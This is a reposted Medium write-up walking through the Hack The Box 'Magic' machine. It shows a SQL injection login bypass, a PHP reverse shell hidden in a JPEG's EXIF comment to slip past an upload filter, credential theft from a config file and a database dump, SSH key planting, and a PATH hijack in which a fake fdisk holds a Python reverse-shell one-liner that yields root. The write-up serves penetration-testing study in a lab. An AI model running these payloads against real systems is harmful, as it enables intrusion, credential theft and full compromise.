Hack The Box Walkthrough — Magic

InfoSec Write-ups – Medium–

Hack The Box Walkthrough — Magic


Magic is a Medium difficulty machine from Hack the Box created by TRX. My process involved a simple SQLi, Steganography, and Binary Planting.

This is a raw walkthrough, so the process of me falling through rabbitholes upon rabbitholes are well documented here. It also reflects my thought process while I was going through the machine and I hope this can help shape how other aspiring penetration testers like me think better moving forward.


This machine starts with a web page that has a login page that is vulnerable to SQLi. Upon successful injection, we will be redirected to a page that accepts the uploading of jpeg, jpg, and png files. These files can be weaponized for us to be able to establish a shell in system. Upon getting shell, we can traverse laterally to the other user due to a password reuse fault which then will allow us to find a binary that is susceptible to hijacking. Successful exploitation of this will ultimately lead us to establish a root shell in the system.

Throughout this walkthrough, I will be leaving superscripts as points for discussion at the very end.

Before I usually get started, I add the machine’s IP into my /etc/hosts file for easier access.

$ sudo vi /etc/hosts
~ magic.htb

Initial Reconnaissance:

$ nmap -p- --min-rate 1000 magic.htb -oN pre-nmap
$ nmap -sC -sV -T4 -p 22,80 magic.htb -oN nmap.txt

I use the first nmap command to make sure that I’m able to cover all ports of the machine I’m testing. Once the first command returns its initial results, I then plug the available ports in the second nmap command for a more detailed look.

Detailed nmap results

It’s quite straightforward, as the usual ports 22 and 80 are open in this machine.

Web Enumeration and Simple SQLi

The first one we’ll do is enumeration for the services in port 80.

Upon checking around the web application, I saw a simple login page. Tried fuzzing directories, fuzzing username and passwords, and checking for valuable hints in the code but got nothing, so I’m guessing the way forward really is SQL injection.

The SQLI cheatsheet below helped a lot:


After a couple of tries with the usual payloads, the one below pushed through.

' or 1=1#
Used the same payload for both Username and Password fields

Image Upload Page and Reverse Shell Steganography

Upload page welcomes us upon successful SQLI exploit

Upon using the above payload, we will be redirected to this page. As a sanity check, since I haven’t done any directory enumeration as of yet, I tried logging out and directly accessing https://ift.tt/3lqqmJB but it didn’t work.

As it stands, it seems that the next step is to upload a file that contains a reverse shell that we can then call externally to be able to establish a foothold in the system.

I tried uploading a .txt file to check if they sanitize their input¹ and they do. However, we’re not sure yet how sophisticated their sanitization method is so I tried to bypass it again, this time by changing the file extension of my reverse shell script. I saved the script as rev.jpgbut when I uploaded it, it returned the below error.

HAHAHA I’m sorry, I’m trying to hack u

It seems that it detected that it’s not a legitimate jpg file, so I’m quite confident that the sanitization method involves the examination of the file’s magic bytes² to ensure that it’s a legitimate file type.

This is actually the first time that I have encountered this kind of problem, so the initial thought that came to my mind is that I need to find a way to hide a reverse shell payload within a legitimate jpg file.

The below links were very helpful in learning more about this topic and in crafting the actual payload that I used.

I used the exiftool module Comment where we can write the reverse shell payload that we intend to run as a comment in an arbitrary medium. Since the web feature requires a jpg, jpeg, or a png, I used an actual picture as my medium, and then a php script from pentestmonkey as my reverse shell.

$ exiftool -Comment="$(< rev.php)" test69.jpg

Since the payload is a multi-line script, I used the $(< file) command, whereas the quotes helps preserve the whitespaces within the script.

Upon successful implementation of the steganography, it should look like this when checked via exiftool.

We then rename it as follows:

$ mv test69.jpg test6969.php.jpg

This will then be interpreted as a php file when we call it through the web server.

At this point, we have already weaponized a legitimate jpg file that is capable of bypassing the file extension check as well as the magic check. The only thing left to do is to check if it works.

On a separate terminal, setup the listener.

$ nc -nvlp 6969

Make sure that the port you use is the port you entered in the reverse shell script you uploaded.

Once we access the path where our weaponized jpg file is saved upon upload, it will look like this.

While our listener will look like this.

We got shell!

Initial Shell and User Theseus

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

I usually start with this command, or a variation of it to improve the shell that I have.

Whenever I get a shell as www-data, I always check the /var/www directory for artifacts that can give me clues on how I can move forward to the next user. Upon enumeration of the said directory, I saw a lot of files under /var/www/Magic , the most notable of which has a filename db.php5 .

From this file, we were able to retrieve a set of credentials which is listed below:

  • username: theseus
  • password: iamkingtheseus

Upon getting the credentials of theseus, I immediately tried logging in via ssh.

$ ssh theseus@magic.htb

Going back to db.php5 file, I noticed that it’s a mysql db file. Upon checking if the service is running, I saw the following:

$ systemctl status mysql
Yup, it’s running

I then proceeded to dump the database using the credentials that we’ve collected earlier.

$ mysqldump --opt --user=theseus --password Magic > Magic.sql

For further reading about this, you can refer to the link attached below.

mysqldump command – how to dump (backup) a MySQL database

Checking the readable strings in the file.

$ strings Magic.sql

We found another set of credentials, however, at this point I was already confused as to where I’m going to use them, though instinctively, I tried the following command:

$ su theseus
Password: Th3s3usW4sK1ng
We got user theseus!

It seems then that the user theseus created a database user named admin for database administration purposes, however even though he created a different user, he still reused his server password³. A summary of the credentials that we retrieved is listed below.

  • Database username: admin
  • Database password: Th3s3usW4sK1ng
  • Server username: theseus
  • Server password: Th3s3usW4sK1ng

I also tried logging into the web server using the new creds that we found, however, it redirects to the same upload page that we discovered via SQLI earlier so I guess we can close the possibility of having any leads there now.

Passwordless SSH and Tool-based Privilege Escalation Enumeration

Upon manual enumeration, I realized that it was quite hassling for me to always re-login via the image upload foothold that we have established, so I made a file in /home/theseus/.ssh/authorized_keys and did the following:

$ cat ~/.ssh/id_rsa.pub | xclip -se c

In my attacking machine, I printed my public key and piped it into xclip to copy it in my clipboard.

$ echo “<public key>” >> ~/.ssh/authorized_keys

Then, in the remote machine, I appended my public key into the authorized_keys file. Replacing the file is actually frowned upon as other pentesters may be inconvenienced by this so I appended mine. (Though after this, I experienced inconsiderate skiddies rewriting the whole file. Grrrrrr. HTB VIP is worth the $$$ guys.)

Passwordless SSH Works!

So essentially that’s how you setup passwordless ssh.

To aid in our enumeration, I decided to use linpeas. You may get it in the link below.


To transfer files from our host to the machine, I decided to setup a SimpleHTTPServer on our host, and then wget the file remotely from the victim machine

$ python -m SimpleHTTPServer 6969
  • Attacking machine where the file is located
$ wget
  • Remote machine

Upon running linpeas, I saw a lot of interesting findings, some of which are dumped below.

However, of everything that linpeas gave me, there’s nothing that stood out at first glance. Upon sampling some of the findings, I decided to use another tool named pspy64 .

Pspy ‘spies’ over the system to track the commands done by the users on the system, cron jobs, etc as they execute, and see consequently the reaction of the system. We may use it particularly to find the services / commands that run with root privileges.

You may get it in the link below.


$ python -m SimpleHTTPServer 6970
  • Attacking machine
$ wget
  • Remote machine
$ chmod +x pspy64
$ ./pspy64

Upon spying over the machine for quite a while, very few triggered the reaction from root. Two of them are as follows:

Every time someone connects to the box via ssh, this sequence happens
Using one of the interesting binaries listed by our linpeas.sh result earlier: /bin/sysinfo, this sequence happens

We can see in the images above that the root actions are displayed with the identifier UID=0. If you’re using pspy64, this is the thing you most likely will be looking out for.

Hijacking the Sysinfo Binary and Getting Root Shell

I tried hijacking the run-parts binary that is being called, however, it seems that the environment variables are always being ignored and new ones are being hard coded into the command. This is done to precisely prevent hijacking⁴.

However, for the sysinfo sequence, no environment variables are being initialized, and only the relative paths are being called. This means we can hijack any of the commands that the binary calls.

To implement this, we execute the following:

$ export PATH=/tmp/mok:$PATH

This is to prepend a new path to the existing $PATH variable. The $PATH variable houses the paths wherein the system searches for the binary to be executed. If you prepend your own path, the system will go straight to this path first to look for the binary to be executed, and then traverse the other paths listed in the variable, if ever the binary is not present in the previous path(s).

I used this as a guide:

Adding a Path to the Linux PATH Variable – Baeldung on Linux

$ vi /tmp/mok/fdisk
~ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

After saving this, use chmod to make it an executable file.

$ chmod +x /tmp/mok/fdisk

What will happen is, when sysinfo calls the command fdisk -l, it will go straight to /tmp/mok and run fdisk. Since fdisk contains our reverse shell payload, we simply need to setup a listener and then execute the sysinfo command.

$ nc -nvlp 5678
  • Attacking machine
$ sysinfo
  • Remote machine
We got shell!
$ ifconfig | fgrep 10. | awk '{print $2}' && whoami && hostname
We finally got root!

Additional Points for Discussion and Takeaways

  1. Input Sanitization is a recurring theme here in this machine, and I’d like to stress its importance because a lot of developers right now don’t really care for secure coding practices. Non-implementation, or even sloppy implementation of input sanitization methods may and will eventually lead to a ton of problems in the future. Prevention is king and a simple implementation of input validation in the SQLI part of this machine can make the foothold much more complex.
  2. Magic Bytes — the problem with this is that most implementations just check the first few bytes of the file to “confirm” its legitimacy, so it’s actually possible to just write a reverse shell script, put the magic bytes of the allowed file types at the very beginning, and save it with double extentions and you’ll have a working exploit. Aside from this, another good example is written by SymR my hackstreetboys teammate. You may read his writeup here.
  3. Password Reuse can be very understated at times. Implemented properly, it actually can function as a defense-in-depth mechanism for your assets. The password reuse part of this machine is really accurate and it’s not unusual to see it happening in the wild.
  4. Hijacking is one of my favorite privilege escalation methods. In this machine, we were able to hijack the sysinfo binary due to the fact that when it calls other binaries, it calls them using their relative paths. Relative paths can be very useful but they’re damn easy to hack. When employing relative paths, ensure that a meticulous set of controls has been rolled out to prevent it from becoming a privilege escalation vector.

This machine is generally straightforward. I really enjoyed the magic, as well as the hijack parts of the process. Easily one of my favorite HTB boxes.

This concludes my walkthrough. Thank you for reading!

Submitted as a part of October PentesterLab giveaway.

Hack The Box Walkthrough — Magic was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

View original article on InfoSec Write-ups – Medium

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s